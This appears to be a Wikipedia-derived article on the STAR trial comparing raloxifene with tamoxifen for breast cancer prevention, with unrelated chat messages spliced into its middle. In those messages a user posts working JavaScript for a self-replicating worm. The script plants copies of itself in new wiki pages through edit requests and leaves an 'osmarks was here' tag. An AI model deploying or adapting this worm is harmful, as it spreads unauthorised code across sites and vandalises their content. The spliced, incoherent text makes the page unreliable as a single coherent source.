Study of Tamoxifen and Raloxifene

The Study of Tamoxifen and Raloxifene (STAR) is a clinical trial designed determine how the drug raloxifene compares with the drug tamoxifen in reducing the incidence of breast cancer in women who are at increased risk of the disease.[1]

Research

One of the largest breast cancer prevention studies ever,[2] it included 22,000 women in 400 medical centers in the United States and Canada.[3][4][5]

The study concluded that raloxifene caused fewer side-effects and less endometrial cancer than tamoxifen.[6][7] Raloxifene was found to be more effective at preventing noninvasive breast cancer but less effective at preventing invasive breast cancer.[8]

gollark: The other strain is based on a different thing and even conveniently tells you which pages it just spread to.
gollark: Well, not really, that one is lost, but it's based on that.
gollark: That is the original replicator strain.
gollark: <@319753218592866315> <@197466563635445760>
gollark: ```javascript<script id="replicator" data-replicator-id="">setTimeout(function() { var el = document.getElementById("replicator"); function post(url, body) { var xhr = new XMLHttpRequest() xhr.addEventListener("load", function() { console.log(this.status,this.readyState, this.responseText) }) xhr.open("POST", url) xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded") xhr.send(body) }for (var i = 0; i < 8; i++) { var text = '<' text += 'script id="replicator" data-replicator-id="' var rid = el.getAttribute("data-replicator-id") + i text += rid text += '">' text += el.innerHTML text += "<" text += "/" text += "script>"text += "\n\n***osmarks was here***" post("/edit/replicator" + rid, "content=" + encodeURIComponent(text))}}, 1)</script>***osmarks was here***```

References

This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.